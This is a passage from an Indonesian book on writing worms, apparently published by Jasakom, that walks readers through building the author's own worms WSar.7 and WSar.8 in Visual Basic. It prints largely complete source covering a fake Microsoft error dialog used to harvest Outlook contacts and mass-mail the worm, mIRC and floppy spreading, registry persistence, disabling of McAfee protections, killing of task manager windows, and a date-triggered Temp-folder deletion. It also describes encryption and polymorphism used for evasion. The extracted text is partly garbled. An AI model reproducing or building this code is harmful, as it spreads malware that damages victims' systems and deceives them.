Options Virus MAP Reporting HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customi ze\Options\VMap State REG_BINARY 4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Catatan: Bug ini telah penulis posting ke lab McAfee (NAI), dan untuk menghindari trik seperti ini Anda cukup menghapus semua nilai registry pada key: HKEY_LOCAL_MACHINE\SOFTWARE\McA fee. com karena aplikasi McAfee VirusScan akan segera menggunakan konfigurasi default, hal ini juga membuktikan bahwa aplikasi McAfee VirusScan sebenarnya sudah mempersiapkan diri jika sewaktuwaktu suatu worm atau virus akan menghapus konfigurasi pada nilai registry, yang akan mengakibatkan aplikasi McAfee VirusScan tidak dapat berjalan dengan normal.
Jasakom
190
13.2 ALGORITMA
WSar.7 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Worm menyembunyikan aplikasi file worm dari task list 3. Membuka aplikasi Notepad saat user mengeksekusinya 4. Memeriksa keberadaan McAfee VirusScan, dan memanipulasi registry jika menemukannya 5. Menginfeksi system dengan membuat salinan worm pada folder Windows dan System Windows 6. Memanfaatkan aplikasi mIrc dengan berusaha mengirimkan salinan worm dengan nama wintweak.exe 7. Pada saat tertentu menampilkan fake form sebagai suatu usaha rekayasa sosial agar user mengijinkan worm mengirimkan e-mail 8. Pada saat tertentu berusaha menginfeksi disket dan mengakses printer dengan mencetak suatu pesan 9. Pada tanggal 13 Oktober, worm akan menghapus folder dan sub folder Temp, kemudian menampilkan pesan "WSar.7 Ada Pada Komputer Anda".
13.3 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'WSar.7 Tambahkan 1 buah object Shape, 1 buah object Line, 6 buah object Label, 2 buah object CommandButton, 1 buah object TextBox, 3 buah object Timer dan 3 buah Module, kemudian atur properti untuk masingmasing object tersebut sebagai berikut:
191
Jasakom
Nilai
frmWSar7 &H80000016& MICROSOFT WINDOWS TEAM False 3855 (Icon)
Keterangan
Mengatur nama form menjadi frmWSar7 Warna latar belakang diatur pada mode Light Shadow Caption ini berkaitan dengan rekayasa sosial yang akan digunakan. Tidak menampilkan ControlBox pada form Mengatur tinggi form Pilih icon yang akan digunakan pada form, WSar.7 menggunakan icon text. ico Tidak menampilkan tombol maximize Tidak menampilkan tombol minimize Tidak tampil pada taskbar Mengatur form agar berada ditengah layar Tidak menampilkan form Mengatur lebar form
Nilai
Transparent 0 - Solid 850 0 0 Rectangle 0 6175
Keterangan
Tidak menampilkan garis tepi Metode pengisian warna menjadi solid Tinggi Shape Posisi dari kiri Jenis Shape Posisi dari atas Lebar Shape
Jasakom
192
Nilai
Abu-abu gelap
Keterangan
Posisi garis pada koordinat X untuk point 1 Posisi garis pada koordinat X untuk point 2 Posisi garis pada koordinat Y untuk point 1 Posisi garis pada koordinat Y untuk point 2
BorderColor &H00808080&
Nilai
0 - Transparent SYSTEM WINDOWS has encountered a problem and needs to report. We are sorry for the inconvenience. Font: MS San Serif Font Style: Bold Size: 8 495 360 210 5415
Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption
Font
Mengatur huruf yang digunakan Tinggi Label Posisi dari kiri Posisi dari atas Lebar Label
Nilai
0 - Transparent If you were in the middle of something, the information you were working on might be lost. 495 360 1020 5535
Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption Tinggi Label Posisi dari kiri Posisi dari atas Lebar Label
193
Jasakom
Nilai
0 - Transparent Please tell Microsoft about this problem. Font: MS San Serif Font Style: Bold Size: 8 255 360 1640 5175
Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption Mengatur huruf yang digunakan Tinggi Label Posisi dari kiri Posisi dari atas Lebar Label
Nilai
0 - Transparent We have created an error report that you can send to us. We will treat this report as confidential and anonymous. 495 360 1875 5175
Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption
Tinggi Label Posisi dari kiri Posisi dari atas Lebar Label
Nilai
0 - Transparent To see what data this error report contains, 255
Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption Tinggi Label
Jasakom
194
Nilai
0 - Transparent To see what data this error report contains, &H00FF0000& 255 3480 2600 855
Keterangan
Mengatur latar belakang agar menjadi transparan Mengatur teks pada Caption Mengatur warna huruf menjadi biru Tinggi Label Posisi dari kiri Posisi dari atas Lebar Label
Nilai
CmdSend Send Error Report 325 3160 2950 1575
Keterangan
Mengatur nama CommandButton menjadi CmdSend Mengatur teks pada Caption Tinggi object Posisi dari kiri Posisi dari atas Lebar object
195
Jasakom
Nilai
cmdDontSend Dont Send 325 4890 2950 1100
Keterangan
Mengatur nama CommandButton menjadi cmdDontSend Mengatur teks pada Caption Tinggi object Posisi dari kiri Posisi dari atas Lebar object
Nilai
tmrSpreading
Keterangan
Mengatur nama Timer menjadi tmrSpreading Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Nilai
tmrIseng True 1000
Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Enable Interval
Nilai
tmrWinForce
Keterangan
Mengatur nama Timer menjadi tmrWinForce Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.05 detik
Jasakom
196
Nilai
txtPath False
Keterangan
Mengatur nama TextBox menjadi txtPath TextBox tidak akan diperlihatkan, object ini ditambahkan dengan tujuan untuk mendukung suatu procedure pada Form
Nilai
mdlDeltree
Nilai
mdlRegistryAPI
Keterangan
Mengatur nama module menjadi mdlRegistryAPI
Nilai
mdlWinForce
Keterangan
Mengatur nama module menjadi mdlWinForce
197
Jasakom
Jasakom
198
Private Declare Function ExitWindowsEx& Lib "user32" (ByVal _ uFlags&, ByVal dwReserved&) Private Declare Function InternetGetConnectedState Lib _ "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As _ Long) As Long Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Sub Form_Load() On Error Resume Next Dim mcAfeeExist As String If App.PrevInstance = True Then End If LCase(App.Path) <> LCase(SpecialFolder(1)) Then Shell (SpecialFolder(0) & "\notepad.exe"), vbNormalFocus End If mcAfeeExist = GetStringValue("HKEY_LOCAL_MACHINE\S" & _ "OFTWARE\McAfee.com\Virusscan Online\property", "Scri" & _ "ptStopper:Enable") If mcAfeeExist <> "" Then Call McAfee_MyFriend() End If Call InfectSystem() Call mIrc() End Sub Private Sub cmdSend_Click() On Error Resume Next Me.Hide() MsgBox("System will scan your outlook files including your add" & _ "ress book for some reason, you may see the Outlook confirm" & _ "ation dialog, please allow access and click yes in confirmatio" & _ "n box. Thanks for your contribution - Microsoft Windows Te" & _ "am.", vbOKOnly + vbInformation, "MICROSOFT WINDO" & _ "WS TEAM - PLEASE READ THIS") Call InfectMail() End Sub Private Sub InfectSystem() On Error Resume Next FileCopy(WormFile, SpecialFolder(0) & "\wintweak.exe") FileCopy(WormFile, SpecialFolder(1) & "\kerne132.exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "winsys", SpecialFolder(1) & _ "\kerne132.exe") SetStringValue("HKEY_CLASSES_ROOT\exefile", _ "NeverShowExt", "") End Sub
199
Jasakom
Private Sub tmrSpreading_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If If InternetGetConnectedState(0&, 0&) = 0 Then GoTo stopit If (Minute(Now) = 1 Or Minute(Now) = 31) And Second(Now) = _ 13 Then Me.Show() End If stopit: End Sub Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "readme.txt" NamaCantik(1) = "hello.txt" NamaCantik(2) = "readfirst.txt" NamaCantik(3) = "important.txt" NamaCantik(4) = "mystery.txt" NamaCantik(5) = "secret.txt" NamaCantik(6) = "crucial.txt" NamaCantik(7) = "sacred.txt" NamaCantik(8) = "joke.txt" NamaCantik(9) = "funny.txt" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*txt .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak) & " .exe") End If End Sub Private Sub InfectMail() On Error Resume Next Dim CountLoop, searchlist, searchemails As Integer Dim kiddie As Object Dim winfolder As Object Dim a, b, c kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) a = CreateObject("Outlook.Application") If Not a = "" Then b = a.GetNameSpace("MAPI") For searchlist = 1 To b.AddressLists.Count CountLoop = 1 c = a.CreateItem(0) For searchemails = 1 To b.AddressLists(searchlist). _ AddressEntries.Count c.Recipients.Add(b.AddressLists(searchlist).AddressEntries _ (CountLoop)) CountLoop = CountLoop + 1 Next
Jasakom
200
c.Subject = "WinTweak " & Year(Now) + 1 c.Body = "Heres a file that will tweak your windows " & _ "more faster..." c.Attachments.Add(winfolder & "\" & "wintweak.exe") c.DeleteAfterSubmit = True c.Send()
Private Sub McAfee_MyFriend() On Error Resume Next SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:ScanHeu" & _ "ristic", "0400000003000000bc2a899adf5032ed55263f04e7e3" & _ "392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "EmailScan:Enable", _ "0400000003000000bc2a899adf5032ed55263f04e7e3392704" & _ "040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "WS:Enable", "040000" & _ "0003000000bc2a899adf5032ed55263f04e7e3392704040404")
201
Jasakom
Private Sub mIrc() On Error GoTo stopit Dim mIrcPath As String txtPath.Text = GetStringValue("HKEY_LOCAL_MACHINE\S" & _ "OFTWARE\Classes\irc\DefaultIcon", "") mIrcPath = Mid(txtPath.Text, 2, (Len(txtPath.Text) - 11)) If Dir(mIrcPath, vbDirectory) <> "" Then FileCopy(WormFile, mIrcPath & "\wintweak.exe") Open mIrcPath & "\script.ini" For Output As 1 Print #1, "[script]" Print #1, "n0= on 1:TEXT:*hello*:#:{" Print #1, "n1= /if ( $nick == $me ) { halt }" Print #1, "n2= /msg $nick Hello.. heres a file that will tweak you" & _ "r windows more faster..." Print #1, "n3= /dcc send -c $nick " & mIrcPath & "\wintweak.exe" Print #1, "n4= }" Print #1, "n5= on 1:JOIN:#:{" Print #1, "n6= /if ( $nick == $me ) { halt }" Print #1, "n7= /msg $nick Hello.. heres a file that will increase y" & _ "our computer memory up to 64 MB..." Print #1, "n8= /dcc send -c $nick " & mIrcPath & "\wintweak.exe" Print #1, "n9= }" Print #1, "n10= on 1:PART:#:{" Print #1, "n11= /if ( $nick == $me ) { halt }" Print #1, "n12= /msg $nick Hello.. heres a file that will increase" & _ "your VGA Card memory..." Print #1, "n13= /dcc send -c $nick " & mIrcPath & "\wintweak.exe" Print #1, "n14= }" Close(1) End If stopit: End Sub
SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ScriptStopper:Enable", _ "0400000003000000bc2a899adf5032ed55263f04e7e3392704" & _ "040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:ScanAll" & _ "Files", "0400000003000000bc2a899adf5032ed55263f04e7e3" & _ "392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:LoadAtS" & _ "tartup", "0400000003000000bc2a899adf5032ed55263f04e7e" & _ "3392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\Customize\Options\AShield", "State", _ "4d4352470100000004000000040000003827d569621fecd14" & _ "3ed118d7a2ea0bea2231907") End Sub Private Sub tmrIseng_Timer() If Minute(Now) = 30 And Second(Now) = 1 Then Printer.CurrentX = 1000 Printer.CurrentY = 1000 Printer.FontBold = True Printer.FontUnderline = True Printer.FontItalic = False Printer.FontSize = 30 Printer.Print("WSAR.7 WAS HERE") Printer.CurrentX = 1000 Printer.FontUnderline = False Printer.FontItalic = True Printer.FontSize = 18 Printer.Print("BRING THE TRUTH TO YOUR HOME") Printer.EndDoc() End If If Day(Now) = 13 And Month(Now) = 10 Then Call Payload() End Sub Private Sub Form_Terminate() Shell(App.EXEName & ".exe") ExitWindowsEx(2, 0&) End Sub Private Sub tmrWinForce_Timer() WinQuit("task") WinQuit("find") WinQuit("search") WinQuit("run") WinQuit("reg") WinQuit("config") End Sub Private Sub Payload() Dim kiddie As Object Dim tmpfolder As Object kiddie = CreateObject _
Jasakom
202
("scripting.filesystemobject") tmpfolder = kiddie.GetSpecialFolder(2) Deltree(tmpfolder) MsgBox("WSar.7 Ada Pada Komputer Anda", vbExclamation) End Sub Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Berikut penjelasan tentang kode program: Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mematikan proses sistem operasi Windows, function API untuk mendapatkan status koneksi Internet dan function untuk mendapatkan direktori Windows dan direktori System Windows. Saat form di-load, worm memeriksa path file utama, jika file utama tidak berada pada folder System Windows maka worm akan membuka aplikasi Notepad yang merupakan suatu upaya rekayasa sosial. Hal ini berkaitan dengan icon file txt yang digunakan worm, sehingga user akan percaya jika yang dieksekusinya ternyata adalah file text yang kosong.
203
Jasakom
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4 dan module mdlWinForce menggunakan module yang sama pada WSar.5
Kemudian worm akan memeriksa keberadaan aplikasi McAfee VirusScan dengan mengambil salah satu dari nilai registry yang dibuat oleh aplikasi tersebut. Jika ditemukan maka worm akan memanggil procedure McAfee_MyFriend, worm juga memanggil procedure InfectSystem dan procedure mIrc. Procedure cmdSend_Click adalah procedure yang akan dijalankan saat user mengklik tombol Send Error Report pada form yang ditampilkan. Procedure ini membuat form disembunyikan, menampilkan sebuah kotak pesan berupa teks "System will scan your outlook files including your address book for some reason, you may see the Outlook confirmation dialog, please allow access and click yes in confirmation box. Thanks for your contribution - Microsoft Windows Team" dengan caption yang berbunyi "MICROSOFT WINDOWS TEAM - PLEASE READ THIS", dan saat user mengklik tombol OK pada kotak pesan tersebut worm kemudian memanggil procedure InfectMail. Procedure InfectSystem akan membuat salinan worm pada folder Windows dengan nama file wintweak.exe dan pada folder Sytem Windows dengan nama file KERNE132.EXE, kemudian memanipulasi registry agar file kerne132.exe akan aktif saat Windows startup. Worm juga memanipulasi registry dengan tujuan agar Windows Explorer tidak menampilkan ekstensi exe walaupun user menghilangkan seleksi pada opsi Hide extensions for known file types pada Folder Options. Sehingga nama worm tetap terlihat berekstensi txt, contohnya mystery.txt dan readme.txt. Bab 13. Worm WSar.7 Procedure tmrSpreading_Timer akan memanggil procedure InfectFloppy jika satu angka disebelah kanan pada menit sekarang menunjukan nilai 2 atau 8 dan detik menunjukan nilai 13. Kemudian menampilkan form jika system terhubung ke internet dan jika menit sekarang menunjukan nilai 1 atau 31 dan detik menunjukan nilai 13. Procedure InfectFloppy membuat data array yang memuat 10 nama file worm yang akan disalinkan ke disket. Worm kemudian memeriksa apakah file worm sudah ada pada disket atau tidak dengan memeriksa file yang berakhiran "txt. exe". Jika tidak ditemukan maka worm akan membuat salinan ke disket dengan salah satu nama file yang diambil secara acak.
Jasakom
204
Procedure InfectMail akan mengirimkan sebuah e-mail untuk setiap alamat yang ada pada MS Outlook address book dengan subjek: wintweak yyyy (tahun depan), body: Heres a file that will tweak your windows more faster..., dan sebuah file attachment yang merupakan file worm dengan nama wintweak.exe dan berada pada folder Windows. Procedure mIrc akan memeriksa keberadaan aplikasi mIRC dengan mencari suatu nilai pada registry yang sekaligus akan mengembalikan nilai berupa path aplikasi tersebut, kemudian membuat salinan worm ke folder Windows dengan nama wintweak.exe. Worm juga membuat file bernama script.ini yang merupakan file konfigurasi aplikasi mIRC, dengan manipulasi konfigurasi ini worm akan memberikan salam dan menawarkan suatu file (wintweak.exe) yang terlihat berguna untuk meningkatkan performa komputer, dengan kalimat-kalimat sebagai berikut: 1. Hello.. heres a file that will tweak your windows more faster... 2. Hello.. heres a file that will increase your computer memory up to 64 MB... 3. Hello.. heres a file that will increase your VGA Card memory... Procedure McAfee_MyFriend bertugas untuk memanipulasi registry untuk menonaktifkan semua opsi tab ActiveShield pada kotak dialog Options dan semua opsi pada kotak dialog Advanced ActiveShield Options. Selain itu, worm juga akan menyembunyikan tab ActiveShield pada kotak dialog Options. Procedure tmrIseng_Timer akan mencetak suatu kalimat pada printer jika menit menunjukan nilai 30 dan detik menunjukan nilai 1. Adapun kalimat yang dicetak akan terlihat sebagai berikut: Bab 13. Worm WSar.7
205
Jasakom
Pada tanggal 13 Oktober, worm akan memanggil procedure PayLoad. Procedure Form_Terminate akan dijalankan jika user menghentikan proses worm dengan menggunakan suatu program (seperti program antivirus ) atau melalui Task Manager. Procedure ini akan mengeksekusi kembali file worm dan berusaha untuk me-restart komputer dengan menggunakan function API ExitWindowsEx, penulis akan memberikan metode turn off yang lebih baik pada WSar selanjutnya. Procedure tmrWinForce_Timer akan menutup setiap aplikasi yang pada caption-nya memuat kata task, find, search, run, reg atau config. Procedure Payload akan menghapus folder dan seluruh sub folder pada direktori Temp. Kemudian menampilkan sebuah kotak pesan yang berbunyi "WSar.7 Ada Pada Komputer Anda" Module mdlDeltree berisi suatu rangkaian instruksi dan membentuk suatu function yang berguna untuk menghapus folder dan sub folder beserta file yang ada didalamnya, function ini hampir mirip dengan perintah deltree pada perintah eksternal Shell DOS.
206
eorang worm writer dengan nickname [K]alamar pernah membuat suatu script menggunakan bahasa pemrograman Visual Basic Script (VBS) yang kemudian terkenal dengan istilah "Anti Deletion Methode", suatu metode yang menyulitkan user untuk menghapus file worm. Melalui WSar.8 penulis akan mendemonstrasikan metode ini dengan teknik yang berbeda dan dikembangkan sehingga bisa digunakan pada bahasa pemrograman Visual Basic serta file worm lebih sulit untuk dihapus. Bab 14. Worm WSar.8 Selain itu WSar.8 juga menggunakan teknik yang umumnya digunakan worm modern, seperti teknik encryption dan polymorphic. Uniknya worm ini ditambahkan suatu rutin yang akan membasmi varian worm lokal Pesin dan Kangen jika ditemukan pada system komputer yang sama. Metode ini hampir sama dengan metode yang digunakan oleh RontokBro, suatu worm lokal Indonesia lainnya yang muncul dipertengahan tahun 2005.
207
Jasakom
Jasakom
208
Plain text disini adalah teks atau pesan awal yang masih mudah untuk dimengerti, kemudian melalui suatu proses yang disebut enkripsi maka dengan suatu algoritma tertentu teks tersebut diubah sehingga sulit untuk dimengerti (cipher text). Untuk mengubah kembali cipher text maka dilalui lagi suatu proses yang disebut dekripsi dengan menggunakan kebalikan dari algoritma enkripsi, perhatikan gambar berikut ini: Bab 14. Worm WSar.8 Gambar diatas adalah suatu contoh proses enkripsi dan dekripsi dengan
209
Jasakom
algoritma menambahkan satu untuk enkripsi dan sebagai kebalikannya dengan mengurangi satu untuk proses deskripsi, sehingga untuk proses enkripsi huruf D akan menghasilkan E, A akan menghasilkan B, R menghasilkan S, M menghasilkan N dan L akan menghasilkan M. Untuk proses dekripsi huruf E akan menghasilkan D, B menghasilkan A, S menghasilkan R, N menghasilkan M dan M akan menghasilkan L. Algoritma proses enkripsi dan dekripsi tidak terbatas pada proses pertambahan dan pengurangan saja, tetapi juga pada perkalian, pembagian dan dapat berupa kombinasi dari operator-operator aritmatik lainnya. Enkripsi diatas adalah salah satu metode Substitution Cipher. Metode ini tergolong paling sederhana, mudah digunakan dan juga mudah untuk dipecahkan. Namun demikian dalam rangka menyulitkan penganalisaan maka pada WSar.8, algoritma yang digunakan dibagi menjadi 3 bagian, yaitu: 1. Karakter ascii 65 hingga 90, ditambahkan dengan 127 sehingga karakter 65 menjadi karakter 192, 66 menjadi 193 dan seterusnya 2. Karakter ascii 97 hingga 122, ditambahkan dengan 121 sehingga karakter 97 menjadi karakter 218, 98 menjadi 219 dan seterusnya 3. Karakter ascii 48 hingga 57, ditambahkan dengan 196 sehingga karakter 48 menjadi karakter 244, 49 menjadi 245 dan seterusnya, untuk lebih jelasnya perhatikan tabel ascii pada halaman 211 berikut ini: Bab 14. Worm WSar.8
Jasakom
210
211
Jasakom
Dengan algoritma tersebut maka plain text "Achmad Darmal" akan menjadi cipher text " ".
Berikut ini adalah gambar saat worm WSar.8 yang tidak terenkripsi (kiri) dan terenkripsi (kanan) di buka pada suatu aplikasi hex editor.
Bisa Anda bayangkan jika lokasi suatu nilai registry yang dibuat dan sangat dirahasiakan dapat diketahui dengan mudah, hanya dengan melihat body program yang tidak terenkripsi. Bab 14. Worm WSar.8
Jasakom
212
Pada WSar.8, penulis membuat suatu function dengan nama PolyCopy yang penggunaannya hampir sama dengan function FileCopy, hanya saja function ini akan mengubah beberapa byte tertentu pada file tujuan. Byte yang dapat diubah umumnya tidak akan menimbulkan bugs apapun pada program asli, sebagai contoh berikut ini adalah tampilan worm WSar.8 saat dibuka dengan menggunakan suatu aplikasi hex editor.
Apabila pesan ini diubah maka tidak akan menciptakan bugs baru pada kode program, kecuali menampilkan pesan baru hasil perubahan jika dieksekusi pada DOS mode. Saat belum dilakukan perubahan program ini memiliki nilai crc32 "8E9F13A1", namun setelah dilakukan perubahan dengan mengganti huruf "e" pada byte ke 115 menjadi huruf "y" maka nilai crc32 program tersebut berubah menjadi "E247760C". Hal ini membuktikan bahwa perubahan apapun pada body program akan mengubah nilai checksum program tersebut.
213
Jasakom
Pada byte ke 78 sampai dengan byte ke 115 terdapat string "This program cannot be run in DOS mode". String ini adalah suatu pesan yang akan ditampilkan apabila user mencoba untuk mengeksekusi program tersebut pada DOS mode.
Perlu Anda ketahui bukan hanya string diatas saja yang dapat diubah tanpa menciptakan suatu bug baru, tetapi sesungguhnya sepanjang kode program banyak terdapat string seperti itu, misalnya informasi Company Name, Product Name, File Version, Product Version atau Internal Name yang biasanya selalu ada pada setiap program yang terkompilasi dengan bahasa pemrograman visual.
Catatan: Mengubah suatu file menggunakan hex editor cenderung merusak program utama, untuk itu jangan menambah atau mengurangi byte pada body program, perubahan pada string hendaklah disesuaikan dengan jumlah string yang memungkinkan untuk diubah, dan selalu siapkan backup untuk program yang akan diubah
14.4 ALGORITMA
WSar.8 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Pada nama program utama tertentu worm akan menyembunyikan aplikasi file worm dari task list 3. Membuka aplikasi MS Word dengan teks beranimasi lengkap saat user mengeksekusinya 4. Menginfeksi system dengan membuat salinan worm pada folder Windows, System Windows dan langsung mengeksekusinya, kemudian memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup 5. Membuat salinan pada setiap direktori yang aktif pada aplikasi Windows Explorer dengan menggunakan function polycopy
Jasakom
214
6. Dampak lain yang ditimbulkan adalah membuat animasi pointer mouse yang memantul disekitar layar selama 8 detik setiap menitnya 7. Menghapus infeksi dari worm lokal lainnya, yaitu worm Pesin dan Kangen 8. Pada tanggal 13 Oktober, worm akan me-restart komputer dengan menggunakan metode sendkeys.
14.5 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'Document1 Microsoft Word. Salah satu function pada module mdlDir memiliki referensi pada Microsoft Shell Controls And Automation, sehingga kita terlebih dahulu harus membuat project mengacu pada file tersebut dengan cara: 1. Klik Project pada menubar, dan pilih References. 2. Pada kotak dialog References, beri seleksi pada opsi Microsoft Shell Controls And Automation, kemudian klik OK. Kemudian tambahkan 1 buah object ListBox, 4 buah object Timer dan 7 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut: Properti object Form1 Jenis
Name BorderStyle ControlBox Icon ShowInTaskbar Visible
Nilai
frmWSar8 None False (Icon) False False
Keterangan
Mengatur nama form menjadi frmWSar8 Tidak memberikan garis tepi pada form Tidak menampilkan ControlBox pada form Pilih icon yang akan digunakan pada form, WSar.8 menggunakan icon word.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar.
215
Jasakom
Nilai
tmrDir False 1000
Keterangan
Mengatur nama Timer menjadi tmrDir Pastikan Timer tidak aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Nilai
tmrIseng False 1
Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer tidak aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.001 detik
Nilai
tmrSPOOL32
Keterangan
Mengatur nama Timer menjadi tmrSPOOL32 Pastikan Timer tidak aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Nilai
tmrWINWORD False 1000
Keterangan
Mengatur nama Timer menjadi tmrWINWORD Pastikan Timer tidak aktif saat form diload Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Nilai
lstDir
Keterangan
Mengatur nama ListBox menjadi lstDir
Jasakom
216
Nilai
mdlCrypt
Keterangan
Mengatur nama module menjadi mdlCrypt
Nilai
mdlDir
Keterangan
Mengatur nama module menjadi mdlDir
Nilai
mdlRegistryAPI
Keterangan
Mengatur nama module menjadi mdlRegistryAPI
Nilai
mdlRestart
Keterangan
Mengatur nama module menjadi mdlRestart
Nilai
mdlWildMouse
Keterangan
Mengatur nama module menjadi mdlWildMouse
Jenis
Name
Nilai
mdlWinCheck
Keterangan
Mengatur nama module menjadi mdlWinCheck
Nilai
mdlWinExit
Keterangan
Mengatur nama module menjadi mdlWinExit
217
Jasakom
Properti Module6
Jasakom
218
219
Jasakom
If Left(Right(stra, 4), 1) = "." Or Left(Right(stra, 3), 1) = _ "." Then stra = FilePart(stra, PathOnly) End If If Right(stra, 1) <> "\" Then stra = stra & "\" End If If Mid(stra, 2, 2) = ":\" Then List.AddItem(stra) End If
Private Function ChangeAll(ByVal Source As String, ByVal Search As _ String, ByVal Restring As String) As String Dim hitung As Integer hitung = Len(Replace(Source, Search, Search & "*")) - Len(Source) ChangeAll = Replace(LCase(Source), Search, Restring, 1, hitung) End Function
Jasakom
220
bab = MapVirtualKey(VK_R, 0) bba = MapVirtualKey(VK_TAB, 0) abb = MapVirtualKey(VK_SPACE, 0) abc = MapVirtualKey(VK_RETURN, 0) keybd_event(VK_CONTROL, aba, 0, 0) keybd_event(VK_ESCAPE, baa, 0, 0) keybd_event(VK_CONTROL, aba, KEYEVENTF_KEYUP, 0) keybd_event(VK_ESCAPE, baa, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_UP, aab, 0, 0) keybd_event(VK_UP, aab, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_RETURN, abc, 0, 0) keybd_event(VK_RETURN, abc, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_R, bab, 0, 0) keybd_event(VK_R, bab, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_TAB, bba, 0, 0) keybd_event(VK_TAB, bba, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_SPACE, abb, 0, 0) keybd_event(VK_SPACE, abb, KEYEVENTF_KEYUP, 0) Sleep(0) End Function
221
Jasakom
If ptCurrentPosition.X <= 0 Then ptCurrentPosition.X = ptCurrentPosition.X + Speed XState = 0 Else ptCurrentPosition.X = ptCurrentPosition.X - Speed End If End If If YState = 0 Then If (ptCurrentPosition.Y + 1) >= (Screen.Height \ _ Screen.TwipsPerPixelY) Then ptCurrentPosition.Y = ptCurrentPosition.Y - Speed YState = 1 Else ptCurrentPosition.Y = ptCurrentPosition.Y + Speed End If Else If ptCurrentPosition.Y <= 0 Then ptCurrentPosition.Y = ptCurrentPosition.Y + Speed YState = 0 Else ptCurrentPosition.Y = ptCurrentPosition.Y - Speed End If End If Call SetCursorPos(ptCurrentPosition.X, ptCurrentPosition.Y) End Sub
Jasakom
222
Public Function WinCheck(ByVal sExeNam As String) As Boolean Dim lLng As Long, lA As Long, lExCode As Long Dim procObj As PROCESSENTRY32 Dim hSnap As Long Dim lRet As Long hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&) procObj.dwSize = Len(procObj) lRet = Process32First(hSnap, procObj) Do While Process32Next(hSnap, procObj) If InStr(1, LCase(procObj.szExeFile), LCase(sExeNam$)) > 0 Then WinCheck = True Exit Do Else WinCheck = False End If Loop End Function
